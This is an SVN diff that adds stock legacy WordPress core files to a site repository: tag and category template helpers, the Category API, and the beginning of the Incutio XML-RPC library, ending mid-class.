+		$a[] = "<a href='$tag_link' class='tag-link-$tag_id' title='" . esc_attr( $topic_count_text_callback( $count ) ) . "'$rel style='font-size: " .
+			( $smallest + ( ( $count - $min_count ) * $font_step ) )
+			. "$unit;'>$tag_name</a>";
+	}
+
+	switch ( $format ) :
+	case 'array' :
+		$return =& $a;
+		break;
+	case 'list' :
+		$return = "<ul class='wp-tag-cloud'>\n\t<li>";
+		$return .= join( "</li>\n\t<li>", $a );
+		$return .= "</li>\n</ul>\n";
+		break;
+	default :
+		$return = join( "\n", $a );
+		break;
+	endswitch;
+
+    if ( $filter )
+		return apply_filters( 'wp_generate_tag_cloud', $return, $tags, $args );
+    else
+		return $return;
+}
+
+//
+// Helper functions
+//
+
+/**
+ * Retrieve HTML list content for category list.
+ *
+ * @uses Walker_Category to create HTML list content.
+ * @since 2.1.0
+ * @see Walker_Category::walk() for parameters and return description.
+ */
+function walk_category_tree() {
+	$args = func_get_args();
+	// the user's options are the third parameter
+	if ( empty($args[2]['walker']) || !is_a($args[2]['walker'], 'Walker') )
+		$walker = new Walker_Category;
+	else
+		$walker = $args[2]['walker'];
+
+	return call_user_func_array(array( &$walker, 'walk' ), $args );
+}
+
+/**
+ * Retrieve HTML dropdown (select) content for category list.
+ *
+ * @uses Walker_CategoryDropdown to create HTML dropdown content.
+ * @since 2.1.0
+ * @see Walker_CategoryDropdown::walk() for parameters and return description.
+ */
+function walk_category_dropdown_tree() {
+	$args = func_get_args();
+	// the user's options are the third parameter
+	if ( empty($args[2]['walker']) || !is_a($args[2]['walker'], 'Walker') )
+		$walker = new Walker_CategoryDropdown;
+	else
+		$walker = $args[2]['walker'];
+
+	return call_user_func_array(array( &$walker, 'walk' ), $args );
+}
+
+//
+// Tags
+//
+
+/**
+ * Retrieve the link to the tag.
+ *
+ * @since 2.3.0
+ * @uses apply_filters() Calls 'tag_link' with tag link and tag ID as parameters.
+ *
+ * @param int $tag_id Tag (term) ID.
+ * @return string
+ */
+function get_tag_link( $tag_id ) {
+	global $wp_rewrite;
+	$taglink = $wp_rewrite->get_tag_permastruct();
+
+	$tag = &get_term( $tag_id, 'post_tag' );
+	if ( is_wp_error( $tag ) )
+		return $tag;
+	$slug = $tag->slug;
+
+	if ( empty( $taglink ) ) {
+		$file = get_option( 'home' ) . '/';
+		$taglink = $file . '?tag=' . $slug;
+	} else {
+		$taglink = str_replace( '%tag%', $slug, $taglink );
+		$taglink = get_option( 'home' ) . user_trailingslashit( $taglink, 'category' );
+	}
+	return apply_filters( 'tag_link', $taglink, $tag_id );
+}
+
+/**
+ * Retrieve the tags for a post.
+ *
+ * @since 2.3.0
+ * @uses apply_filters() Calls 'get_the_tags' filter on the list of post tags.
+ *
+ * @param int $id Post ID.
+ * @return array
+ */
+function get_the_tags( $id = 0 ) {
+	return apply_filters( 'get_the_tags', get_the_terms( $id, 'post_tag' ) );
+}
+
+/**
+ * Retrieve the tags for a post formatted as a string.
+ *
+ * @since 2.3.0
+ * @uses apply_filters() Calls 'the_tags' filter on string list of tags.
+ *
+ * @param string $before Optional. Before tags.
+ * @param string $sep Optional. Between tags.
+ * @param string $after Optional. After tags.
+ * @return string
+ */
+function get_the_tag_list( $before = '', $sep = '', $after = '' ) {
+	return apply_filters( 'the_tags', get_the_term_list( 0, 'post_tag', $before, $sep, $after ), $before, $sep, $after);
+}
+
+/**
+ * Retrieve the tags for a post.
+ *
+ * @since 2.3.0
+ *
+ * @param string $before Optional. Before list.
+ * @param string $sep Optional. Separate items using this.
+ * @param string $after Optional. After list.
+ * @return string
+ */
+function the_tags( $before = null, $sep = ', ', $after = '' ) {
+	if ( null === $before )
+		$before = __('Tags: ');
+	echo get_the_tag_list($before, $sep, $after);
+}
+
+/**
+ * Retrieve tag description.
+ *
+ * @since 2.8
+ *
+ * @param int $tag Optional. Tag ID. Will use global tag ID by default.
+ * @return string Tag description, available.
+ */
+function tag_description( $tag = 0 ) {
+	return term_description( $tag );
+}
+
+/**
+ * Retrieve term description.
+ *
+ * @since 2.8
+ *
+ * @param int $term Optional. Term ID. Will use global term ID by default.
+ * @return string Term description, available.
+ */
+function term_description( $term = 0, $taxonomy = 'post_tag' ) {
+	if ( !$term && ( is_tax() || is_tag() || is_category() ) ) {
+		global $wp_query;
+		$term = $wp_query->get_queried_object();
+		$taxonomy = $term->taxonomy;
+		$term = $term->term_id;
+	}
+	return get_term_field( 'description', $term, $taxonomy );
+}
+
+/**
+ * Retrieve the terms of the taxonomy that are attached to the post.
+ *
+ * This function can only be used within the loop.
+ *
+ * @since 2.5.0
+ *
+ * @param int $id Post ID. Is not optional.
+ * @param string $taxonomy Taxonomy name.
+ * @return array|bool False on failure. Array of term objects on success.
+ */
+function get_the_terms( $id = 0, $taxonomy ) {
+	global $post;
+
+ 	$id = (int) $id;
+
+	if ( ! $id && ! in_the_loop() )
+		return false; // in-the-loop function
+
+	if ( !$id )
+		$id = (int) $post->ID;
+
+	$terms = get_object_term_cache( $id, $taxonomy );
+	if ( false === $terms )
+		$terms = wp_get_object_terms( $id, $taxonomy );
+
+	if ( empty( $terms ) )
+		return false;
+
+	return $terms;
+}
+
+/**
+ * Retrieve terms as a list with specified format.
+ *
+ * @since 2.5.0
+ *
+ * @param int $id Term ID.
+ * @param string $taxonomy Taxonomy name.
+ * @param string $before Optional. Before list.
+ * @param string $sep Optional. Separate items using this.
+ * @param string $after Optional. After list.
+ * @return string
+ */
+function get_the_term_list( $id = 0, $taxonomy, $before = '', $sep = '', $after = '' ) {
+	$terms = get_the_terms( $id, $taxonomy );
+
+	if ( is_wp_error( $terms ) )
+		return $terms;
+
+	if ( empty( $terms ) )
+		return false;
+
+	foreach ( $terms as $term ) {
+		$link = get_term_link( $term, $taxonomy );
+		if ( is_wp_error( $link ) )
+			return $link;
+		$term_links[] = '<a href="' . $link . '" rel="tag">' . $term->name . '</a>';
+	}
+
+	$term_links = apply_filters( "term_links-$taxonomy", $term_links );
+
+	return $before . join( $sep, $term_links ) . $after;
+}
+
+/**
+ * Display the terms in a list.
+ *
+ * @since 2.5.0
+ *
+ * @param int $id Term ID.
+ * @param string $taxonomy Taxonomy name.
+ * @param string $before Optional. Before list.
+ * @param string $sep Optional. Separate items using this.
+ * @param string $after Optional. After list.
+ * @return null|bool False on WordPress error. Returns null when displaying.
+ */
+function the_terms( $id, $taxonomy, $before = '', $sep = '', $after = '' ) {
+	$return = get_the_term_list( $id, $taxonomy, $before, $sep, $after );
+	if ( is_wp_error( $return ) )
+		return false;
+	else
+		echo $return;
+}
+
+/**
+ * Check if the current post has any of given tags.
+ *
+ * The given tags are checked against the post's tags' term_ids, names and slugs.
+ * Tags given as integers will only be checked against the post's tags' term_ids.
+ * If no tags are given, determines if post has any tags.
+ *
+ * Prior to v2.7 of WordPress, tags given as integers would also be checked against the post's tags' names and slugs (in addition to term_ids)
+ * Prior to v2.7, this function could only be used in the WordPress Loop.
+ * As of 2.7, the function can be used anywhere if it is provided a post ID or post object.
+ *
+ * @since 2.6.0
+ *
+ * @uses is_object_in_term()
+ *
+ * @param string|int|array $tag Optional. The tag name/term_id/slug or array of them to check for.
+ * @param int|post object Optional.  Post to check instead of the current post. @since 2.7.0
+ * @return bool True if the current post has any of the the given tags (or any tag, if no tag specified).
+ */
+function has_tag( $tag = '', $_post = null ) {
+	if ( $_post ) {
+		$_post = get_post( $_post );
+	} else {
+		$_post =& $GLOBALS['post'];
+	}
+
+	if ( !$_post )
+		return false;
+
+	$r = is_object_in_term( $_post->ID, 'post_tag', $tag );
+	if ( is_wp_error( $r ) )
+		return false;
+	return $r;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/category.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/category.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/category.php	(revision 44)
@@ -0,0 +1,368 @@
+<?php
+/**
+ * WordPress Category API
+ *
+ * @package WordPress
+ */
+
+/**
+ * Retrieves all category IDs.
+ *
+ * @since 2.0.0
+ * @link http://codex.wordpress.org/Function_Reference/get_all_category_ids
+ *
+ * @return object List of all of the category IDs.
+ */
+function get_all_category_ids() {
+	if ( ! $cat_ids = wp_cache_get( 'all_category_ids', 'category' ) ) {
+		$cat_ids = get_terms( 'category', 'fields=ids&get=all' );
+		wp_cache_add( 'all_category_ids', $cat_ids, 'category' );
+	}
+
+	return $cat_ids;
+}
+
+/**
+ * Retrieve list of category objects.
+ *
+ * If you change the type to 'link' in the arguments, then the link categories
+ * will be returned instead. Also all categories will be updated to be backwards
+ * compatible with pre-2.3 plugins and themes.
+ *
+ * @since 2.1.0
+ * @see get_terms() Type of arguments that can be changed.
+ * @link http://codex.wordpress.org/Function_Reference/get_categories
+ *
+ * @param string|array $args Optional. Change the defaults retrieving categories.
+ * @return array List of categories.
+ */
+function &get_categories( $args = '' ) {
+	$defaults = array( 'type' => 'category' );
+	$args = wp_parse_args( $args, $defaults );
+
+	$taxonomy = apply_filters( 'get_categories_taxonomy', 'category', $args );
+	if ( 'link' == $args['type'] )
+		$taxonomy = 'link_category';
+	$categories = (array) get_terms( $taxonomy, $args );
+
+	foreach ( array_keys( $categories ) as $k )
+		_make_cat_compat( $categories[$k] );
+
+	return $categories;
+}
+
+/**
+ * Retrieves category data given a category ID or category object.
+ *
+ * If you pass the $category parameter an object, which is assumed to be the
+ * category row object retrieved the database. It will cache the category data.
+ *
+ * If you pass $category an integer of the category ID, then that category will
+ * be retrieved from the database, if it isn't already cached, and pass it back.
+ *
+ * If you look at get_term(), then both types will be passed through several
+ * filters and finally sanitized based on the $filter parameter value.
+ *
+ * The category will converted to maintain backwards compatibility.
+ *
+ * @since 1.5.1
+ * @uses get_term() Used to get the category data from the taxonomy.
+ *
+ * @param int|object $category Category ID or Category row object
+ * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N
+ * @param string $filter Optional. Default is raw or no WordPress defined filter will applied.
+ * @return mixed Category data in type defined by $output parameter.
+ */
+function &get_category( $category, $output = OBJECT, $filter = 'raw' ) {
+	$category = get_term( $category, 'category', $output, $filter );
+	if ( is_wp_error( $category ) )
+		return $category;
+
+	_make_cat_compat( $category );
+
+	return $category;
+}
+
+/**
+ * Retrieve category based on URL containing the category slug.
+ *
+ * Breaks the $category_path parameter up to get the category slug.
+ *
+ * Tries to find the child path and will return it. If it doesn't find a
+ * match, then it will return the first category matching slug, if $full_match,
+ * is set to false. If it does not, then it will return null.
+ *
+ * It is also possible that it will return a WP_Error object on failure. Check
+ * for it when using this function.
+ *
+ * @since 2.1.0
+ *
+ * @param string $category_path URL containing category slugs.
+ * @param bool $full_match Optional. Whether should match full path or not.
+ * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N
+ * @return null|object|array Null on failure. Type is based on $output value.
+ */
+function get_category_by_path( $category_path, $full_match = true, $output = OBJECT ) {
+	$category_path = rawurlencode( urldecode( $category_path ) );
+	$category_path = str_replace( '%2F', '/', $category_path );
+	$category_path = str_replace( '%20', ' ', $category_path );
+	$category_paths = '/' . trim( $category_path, '/' );
+	$leaf_path  = sanitize_title( basename( $category_paths ) );
+	$category_paths = explode( '/', $category_paths );
+	$full_path = '';
+	foreach ( (array) $category_paths as $pathdir )
+		$full_path .= ( $pathdir != '' ? '/' : '' ) . sanitize_title( $pathdir );
+
+	$categories = get_terms( 'category', "get=all&slug=$leaf_path" );
+
+	if ( empty( $categories ) )
+		return null;
+
+	foreach ( $categories as $category ) {
+		$path = '/' . $leaf_path;
+		$curcategory = $category;
+		while ( ( $curcategory->parent != 0 ) && ( $curcategory->parent != $curcategory->term_id ) ) {
+			$curcategory = get_term( $curcategory->parent, 'category' );
+			if ( is_wp_error( $curcategory ) )
+				return $curcategory;
+			$path = '/' . $curcategory->slug . $path;
+		}
+
+		if ( $path == $full_path )
+			return get_category( $category->term_id, $output );
+	}
+
+	// If full matching is not required, return the first cat that matches the leaf.
+	if ( ! $full_match )
+		return get_category( $categories[0]->term_id, $output );
+
+	return null;
+}
+
+/**
+ * Retrieve category object by category slug.
+ *
+ * @since 2.3.0
+ *
+ * @param string $slug The category slug.
+ * @return object Category data object
+ */
+function get_category_by_slug( $slug  ) {
+	$category = get_term_by( 'slug', $slug, 'category' );
+	if ( $category )
+		_make_cat_compat( $category );
+
+	return $category;
+}
+
+
+/**
+ * Retrieve the ID of a category from its name.
+ *
+ * @since 1.0.0
+ *
+ * @param string $cat_name Optional. Default is 'General' and can be any category name.
+ * @return int 0, if failure and ID of category on success.
+ */
+function get_cat_ID( $cat_name='General' ) {
+	$cat = get_term_by( 'name', $cat_name, 'category' );
+	if ( $cat )
+		return $cat->term_id;
+	return 0;
+}
+
+
+/**
+ * Retrieve the name of a category from its ID.
+ *
+ * @since 1.0.0
+ *
+ * @param int $cat_id Category ID
+ * @return string Category name
+ */
+function get_cat_name( $cat_id ) {
+	$cat_id = (int) $cat_id;
+	$category = &get_category( $cat_id );
+	return $category->name;
+}
+
+
+/**
+ * Check if a category is an ancestor of another category.
+ *
+ * You can use either an id or the category object for both parameters. If you
+ * use an integer the category will be retrieved.
+ *
+ * @since 2.1.0
+ *
+ * @param int|object $cat1 ID or object to check if this is the parent category.
+ * @param int|object $cat2 The child category.
+ * @return bool Whether $cat2 is child of $cat1
+ */
+function cat_is_ancestor_of( $cat1, $cat2 ) {
+	if ( ! isset($cat1->term_id) )
+		$cat1 = &get_category( $cat1 );
+	if ( ! isset($cat2->parent) )
+		$cat2 = &get_category( $cat2 );
+
+	if ( empty($cat1->term_id) || empty($cat2->parent) )
+		return false;
+	if ( $cat2->parent == $cat1->term_id )
+		return true;
+
+	return cat_is_ancestor_of( $cat1, get_category( $cat2->parent ) );
+}
+
+
+/**
+ * Sanitizes category data based on context.
+ *
+ * @since 2.3.0
+ * @uses sanitize_term() See this function for what context are supported.
+ *
+ * @param object|array $category Category data
+ * @param string $context Optional. Default is 'display'.
+ * @return object|array Same type as $category with sanitized data for safe use.
+ */
+function sanitize_category( $category, $context = 'display' ) {
+	return sanitize_term( $category, 'category', $context );
+}
+
+
+/**
+ * Sanitizes data in single category key field.
+ *
+ * @since 2.3.0
+ * @uses sanitize_term_field() See function for more details.
+ *
+ * @param string $field Category key to sanitize
+ * @param mixed $value Category value to sanitize
+ * @param int $cat_id Category ID
+ * @param string $context What filter to use, 'raw', 'display', etc.
+ * @return mixed Same type as $value after $value has been sanitized.
+ */
+function sanitize_category_field( $field, $value, $cat_id, $context ) {
+	return sanitize_term_field( $field, $value, $cat_id, 'category', $context );
+}
+
+/* Tags */
+
+
+/**
+ * Retrieves all post tags.
+ *
+ * @since 2.3.0
+ * @see get_terms() For list of arguments to pass.
+ * @uses apply_filters() Calls 'get_tags' hook on array of tags and with $args.
+ *
+ * @param string|array $args Tag arguments to use when retrieving tags.
+ * @return array List of tags.
+ */
+function &get_tags( $args = '' ) {
+	$tags = get_terms( 'post_tag', $args );
+
+	if ( empty( $tags ) ) {
+		$return = array();
+		return $return;
+	}
+
+	$tags = apply_filters( 'get_tags', $tags, $args );
+	return $tags;
+}
+
+
+/**
+ * Retrieve post tag by tag ID or tag object.
+ *
+ * If you pass the $tag parameter an object, which is assumed to be the tag row
+ * object retrieved the database. It will cache the tag data.
+ *
+ * If you pass $tag an integer of the tag ID, then that tag will
+ * be retrieved from the database, if it isn't already cached, and pass it back.
+ *
+ * If you look at get_term(), then both types will be passed through several
+ * filters and finally sanitized based on the $filter parameter value.
+ *
+ * @since 2.3.0
+ *
+ * @param int|object $tag
+ * @param string $output Optional. Constant OBJECT, ARRAY_A, or ARRAY_N
+ * @param string $filter Optional. Default is raw or no WordPress defined filter will applied.
+ * @return object|array Return type based on $output value.
+ */
+function &get_tag( $tag, $output = OBJECT, $filter = 'raw' ) {
+	return get_term( $tag, 'post_tag', $output, $filter );
+}
+
+
+/* Cache */
+
+
+/**
+ * Update the categories cache.
+ *
+ * This function does not appear to be used anymore or does not appear to be
+ * needed. It might be a legacy function left over from when there was a need
+ * for updating the category cache.
+ *
+ * @since 1.5.0
+ *
+ * @return bool Always return True
+ */
+function update_category_cache() {
+	return true;
+}
+
+
+/**
+ * Remove the category cache data based on ID.
+ *
+ * @since 2.1.0
+ * @uses clean_term_cache() Clears the cache for the category based on ID
+ *
+ * @param int $id Category ID
+ */
+function clean_category_cache( $id ) {
+	clean_term_cache( $id, 'category' );
+}
+
+
+/**
+ * Update category structure to old pre 2.3 from new taxonomy structure.
+ *
+ * This function was added for the taxonomy support to update the new category
+ * structure with the old category one. This will maintain compatibility with
+ * plugins and themes which depend on the old key or property names.
+ *
+ * The parameter should only be passed a variable and not create the array or
+ * object inline to the parameter. The reason for this is that parameter is
+ * passed by reference and PHP will fail unless it has the variable.
+ *
+ * There is no return value, because everything is updated on the variable you
+ * pass to it. This is one of the features with using pass by reference in PHP.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param array|object $category Category Row object or array
+ */
+function _make_cat_compat( &$category ) {
+	if ( is_object( $category ) ) {
+		$category->cat_ID = &$category->term_id;
+		$category->category_count = &$category->count;
+		$category->category_description = &$category->description;
+		$category->cat_name = &$category->name;
+		$category->category_nicename = &$category->slug;
+		$category->category_parent = &$category->parent;
+	} elseif ( is_array( $category ) && isset( $category['term_id'] ) ) {
+		$category['cat_ID'] = &$category['term_id'];
+		$category['category_count'] = &$category['count'];
+		$category['category_description'] = &$category['description'];
+		$category['cat_name'] = &$category['name'];
+		$category['category_nicename'] = &$category['slug'];
+		$category['category_parent'] = &$category['parent'];
+	}
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/class-IXR.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class-IXR.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class-IXR.php	(revision 44)
@@ -0,0 +1,900 @@
+<?php
+/**
+ * IXR - The Inutio XML-RPC Library
+ *
+ * @package IXR
+ * @since 1.5
+ *
+ * @copyright Incutio Ltd 2002-2005
+ * @version 1.7 (beta) 23rd May 2005
+ * @author Simon Willison
+ * @link http://scripts.incutio.com/xmlrpc/ Site
+ * @link http://scripts.incutio.com/xmlrpc/manual.php Manual
+ * @license BSD License http://www.opensource.org/licenses/bsd-license.php
+ */
+
+/**
+ * IXR_Value
+ *
+ * @package IXR
+ * @since 1.5
+ */
+class IXR_Value {
+    var $data;
+    var $type;
+
+    function IXR_Value ($data, $type = false) {
+        $this->data = $data;
+        if (!$type) {
+            $type = $this->calculateType();
+        }
+        $this->type = $type;
+        if ($type == 'struct') {
+            /* Turn all the values in the array in to new IXR_Value objects */
+            foreach ($this->data as $key => $value) {
+                $this->data[$key] = new IXR_Value($value);
+            }
+        }
+        if ($type == 'array') {
+            for ($i = 0, $j = count($this->data); $i < $j; $i++) {
+                $this->data[$i] = new IXR_Value($this->data[$i]);
+            }
+        }
+    }
+
+    function calculateType() {
+        if ($this->data === true || $this->data === false) {
+            return 'boolean';
+        }
+        if (is_integer($this->data)) {
+            return 'int';
+        }
+        if (is_double($this->data)) {
+            return 'double';
+        }
+        // Deal with IXR object types base64 and date
+        if (is_object($this->data) && is_a($this->data, 'IXR_Date')) {
+            return 'date';
+        }
+        if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) {
+            return 'base64';
+        }
+        // If it is a normal PHP object convert it in to a struct
+        if (is_object($this->data)) {
+
+            $this->data = get_object_vars($this->data);
+            return 'struct';
+        }
+        if (!is_array($this->data)) {
+            return 'string';
+        }
+        /* We have an array - is it an array or a struct ? */
+        if ($this->isStruct($this->data)) {
+            return 'struct';
+        } else {
+            return 'array';
+        }
+    }
+
+    function getXml() {
+        /* Return XML for this value */
+        switch ($this->type) {
+            case 'boolean':
+                return '<boolean>'.(($this->data) ? '1' : '0').'</boolean>';
+                break;
+            case 'int':
+                return '<int>'.$this->data.'</int>';
+                break;
+            case 'double':
+                return '<double>'.$this->data.'</double>';
+                break;
+            case 'string':
+                return '<string>'.htmlspecialchars($this->data).'</string>';
+                break;
+            case 'array':
+                $return = '<array><data>'."\n";
+                foreach ($this->data as $item) {
+                    $return .= '  <value>'.$item->getXml()."</value>\n";
+                }
+                $return .= '</data></array>';
+                return $return;
+                break;
+            case 'struct':
+                $return = '<struct>'."\n";
+                foreach ($this->data as $name => $value) {
+					$name = htmlspecialchars($name);
+                    $return .= "  <member><name>$name</name><value>";
+                    $return .= $value->getXml()."</value></member>\n";
+                }
+                $return .= '</struct>';
+                return $return;
+                break;
+            case 'date':
+            case 'base64':
+                return $this->data->getXml();
+                break;
+        }
+        return false;
+    }
+
+    function isStruct($array) {
+        /* Nasty function to check if an array is a struct or not */
+        $expected = 0;
+        foreach ($array as $key => $value) {
+            if ((string)$key != (string)$expected) {
+                return true;
+            }
+            $expected++;
+        }
+        return false;
+    }
+}
+
+/**
+ * IXR_Message
+ *
+ * @package IXR
+ * @since 1.5
+ */
+class IXR_Message {
+    var $message;
+    var $messageType;  // methodCall / methodResponse / fault
+    var $faultCode;
+    var $faultString;
+    var $methodName;
+    var $params;
+    // Current variable stacks
+    var $_arraystructs = array();   // The stack used to keep track of the current array/struct
+    var $_arraystructstypes = array(); // Stack keeping track of if things are structs or array
+    var $_currentStructName = array();  // A stack as well
+    var $_param;
+    var $_value;
+    var $_currentTag;
+    var $_currentTagContents;
+    // The XML parser
+    var $_parser;
+    function IXR_Message ($message) {
+        $this->message = $message;
+    }
+    function parse() {
+        // first remove the XML declaration
+        $this->message = preg_replace('/<\?xml.*?\?'.'>/', '', $this->message);
+        if (trim($this->message) == '') {
+            return false;
+        }
+        $this->_parser = xml_parser_create();
+        // Set XML parser to take the case of tags in to account
+        xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false);
+        // Set XML parser callback functions
+        xml_set_object($this->_parser, $this);
+        xml_set_element_handler($this->_parser, 'tag_open', 'tag_close');
+        xml_set_character_data_handler($this->_parser, 'cdata');
+        if (!xml_parse($this->_parser, $this->message)) {
+            /* die(sprintf('XML error: %s at line %d',
+                xml_error_string(xml_get_error_code($this->_parser)),
+                xml_get_current_line_number($this->_parser))); */
+            return false;
+        }
+        xml_parser_free($this->_parser);
+        // Grab the error messages, if any
+        if ($this->messageType == 'fault') {
+            $this->faultCode = $this->params[0]['faultCode'];
+            $this->faultString = $this->params[0]['faultString'];
+        }
+        return true;
+    }
+    function tag_open($parser, $tag, $attr) {
+        $this->_currentTagContents = '';
+        $this->currentTag = $tag;
+        switch($tag) {
+            case 'methodCall':
+            case 'methodResponse':
+            case 'fault':
+                $this->messageType = $tag;
+                break;
+            /* Deal with stacks of arrays and structs */
+            case 'data':    // data is to all intents and puposes more interesting than array
+                $this->_arraystructstypes[] = 'array';
+                $this->_arraystructs[] = array();
+                break;
+            case 'struct':
+                $this->_arraystructstypes[] = 'struct';
+                $this->_arraystructs[] = array();
+                break;
+        }
+    }
+    function cdata($parser, $cdata) {
+        $this->_currentTagContents .= $cdata;
+    }
+    function tag_close($parser, $tag) {
+        $valueFlag = false;
+        switch($tag) {
+            case 'int':
+            case 'i4':
+                $value = (int) trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'double':
+                $value = (double) trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'string':
+                $value = $this->_currentTagContents;
+                $valueFlag = true;
+                break;
+            case 'dateTime.iso8601':
+                $value = new IXR_Date(trim($this->_currentTagContents));
+                // $value = $iso->getTimestamp();
+                $valueFlag = true;
+                break;
+            case 'value':
+                // "If no type is indicated, the type is string."
+                if (trim($this->_currentTagContents) != '') {
+                    $value = (string)$this->_currentTagContents;
+                    $valueFlag = true;
+                }
+                break;
+            case 'boolean':
+                $value = (boolean) trim($this->_currentTagContents);
+                $valueFlag = true;
+                break;
+            case 'base64':
+                $value = base64_decode( trim( $this->_currentTagContents ) );
+                $valueFlag = true;
+                break;
+            /* Deal with stacks of arrays and structs */
+            case 'data':
+            case 'struct':
+                $value = array_pop($this->_arraystructs);
+                array_pop($this->_arraystructstypes);
+                $valueFlag = true;
+                break;
+            case 'member':
+                array_pop($this->_currentStructName);
+                break;
+            case 'name':
+                $this->_currentStructName[] = trim($this->_currentTagContents);
+                break;
+            case 'methodName':
+                $this->methodName = trim($this->_currentTagContents);
+                break;
+        }
+        if ($valueFlag) {
+            if (count($this->_arraystructs) > 0) {
+                // Add value to struct or array
+                if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') {
+                    // Add to struct
+                    $this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value;
+                } else {
+                    // Add to array
+                    $this->_arraystructs[count($this->_arraystructs)-1][] = $value;
+                }
+            } else {
+                // Just add as a paramater
+                $this->params[] = $value;
+            }
+        }
+        $this->_currentTagContents = '';
+    }
+}
+
+/**
+ * IXR_Server
+ *
+ * @package IXR
+ * @since 1.5
+ */
+class IXR_Server {
+    var $data;
+    var $callbacks = array();
+    var $message;
+    var $capabilities;
+    function IXR_Server($callbacks = false, $data = false) {
+        $this->setCapabilities();
+        if ($callbacks) {
+            $this->callbacks = $callbacks;
+        }
+        $this->setCallbacks();
+        $this->serve($data);
+    }
+    function serve($data = false) {
+        if (!$data) {
+            global $HTTP_RAW_POST_DATA;
+            if (!$HTTP_RAW_POST_DATA) {
+               header( 'Content-Type: text/plain' );
+               die('XML-RPC server accepts POST requests only.');
+            }
+            $data = $HTTP_RAW_POST_DATA;
+        }
+        $this->message = new IXR_Message($data);
+        if (!$this->message->parse()) {
+            $this->error(-32700, 'parse error. not well formed');
+        }
+        if ($this->message->messageType != 'methodCall') {
+            $this->error(-32600, 'server error. invalid xml-rpc. not conforming to spec. Request must be a methodCall');
+        }
+        $result = $this->call($this->message->methodName, $this->message->params);
+        // Is the result an error?
+        if (is_a($result, 'IXR_Error')) {
+            $this->error($result);
+        }
+        // Encode the result
+        $r = new IXR_Value($result);
+        $resultxml = $r->getXml();
+        // Create the XML
+        $xml = <<<EOD
+<methodResponse>
+  <params>
+    <param>
+      <value>
+        $resultxml
+      </value>
+    </param>
+  </params>
+</methodResponse>
+
+EOD;
+        // Send it
+        $this->output($xml);
+    }
+    function call($methodname, $args) {
+        if (!$this->hasMethod($methodname)) {
+            return new IXR_Error(-32601, 'server error. requested method '.
+                $methodname.' does not exist.');
+        }
+        $method = $this->callbacks[$methodname];
+        // Perform the callback and send the response
+        if (count($args) == 1) {
+            // If only one paramater just send that instead of the whole array
+            $args = $args[0];
+        }
+        // Are we dealing with a function or a method?
+        if (substr($method, 0, 5) == 'this:') {
+            // It's a class method - check it exists
+            $method = substr($method, 5);
+            if (!method_exists($this, $method)) {
+                return new IXR_Error(-32601, 'server error. requested class method "'.
+                    $method.'" does not exist.');
+            }
+            // Call the method
+            $result = $this->$method($args);
+        } else {
+            // It's a function - does it exist?
+            if (is_array($method)) {
+                if (!method_exists($method[0], $method[1])) {
+                    return new IXR_Error(-32601, 'server error. requested object method "'.
+                        $method[1].'" does not exist.');
+                }
+            } else if (!function_exists($method)) {
+                return new IXR_Error(-32601, 'server error. requested function "'.
+                    $method.'" does not exist.');
+            }
+            // Call the function
+            $result = call_user_func($method, $args);
+        }
+        return $result;
+    }
+
+    function error($error, $message = false) {
+        // Accepts either an error object or an error code and message
+        if ($message && !is_object($error)) {
+            $error = new IXR_Error($error, $message);
+        }
+        $this->output($error->getXml());
+    }
+    function output($xml) {
+        $xml = '<?xml version="1.0"?>'."\n".$xml;
+        $length = strlen($xml);
+        header('Connection: close');
+        header('Content-Length: '.$length);
+        header('Content-Type: text/xml');
+        header('Date: '.date('r'));
+        echo $xml;
+        exit;
+    }
+    function hasMethod($method) {
+        return in_array($method, array_keys($this->callbacks));
+    }
+    function setCapabilities() {
+        // Initialises capabilities array
+        $this->capabilities = array(
+            'xmlrpc' => array(
+                'specUrl' => 'http://www.xmlrpc.com/spec',
+                'specVersion' => 1
+            ),
+            'faults_interop' => array(
+                'specUrl' => 'http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php',
+                'specVersion' => 20010516
+            ),
+            'system.multicall' => array(
+                'specUrl' => 'http://www.xmlrpc.com/discuss/msgReader$1208',
+                'specVersion' => 1
+            ),
+        );
+    }
+    function getCapabilities($args) {
+        return $this->capabilities;
+    }
+    function setCallbacks() {
+        $this->callbacks['system.getCapabilities'] = 'this:getCapabilities';
+        $this->callbacks['system.listMethods'] = 'this:listMethods';
+        $this->callbacks['system.multicall'] = 'this:multiCall';
+    }
+    function listMethods($args) {
+        // Returns a list of methods - uses array_reverse to ensure user defined
+        // methods are listed before server defined methods
+        return array_reverse(array_keys($this->callbacks));
+    }
+    function multiCall($methodcalls) {
+        // See http://www.xmlrpc.com/discuss/msgReader$1208
+        $return = array();
+        foreach ($methodcalls as $call) {
+            $method = $call['methodName'];
+            $params = $call['params'];
+            if ($method == 'system.multicall') {
+                $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden');
+            } else {
+                $result = $this->call($method, $params);
+            }
+            if (is_a($result, 'IXR_Error')) {
+                $return[] = array(
+                    'faultCode' => $result->code,
+                    'faultString' => $result->message
+                );
+            } else {
+                $return[] = array($result);
+            }
+        }
+        return $return;
+    }
+}
+
+/**
+ * IXR_Request
+ *
+ * @package IXR
+ * @since 1.5
+ */
+class IXR_Request {
+    var $method;
+    var $args;
+    var $xml;
+    function IXR_Request($method, $args) {
+        $this->method = $method;
+        $this->args = $args;
+        $this->xml = <<<EOD
+<?xml version="1.0"?>
+<methodCall>
+<methodName>{$this->method}</methodName>
+<params>
+
+EOD;
+        foreach ($this->args as $arg) {
+            $this->xml .= '<param><value>';
+            $v = new IXR_Value($arg);
+            $this->xml .= $v->getXml();
+            $this->xml .= "</value></param>\n";
+        }
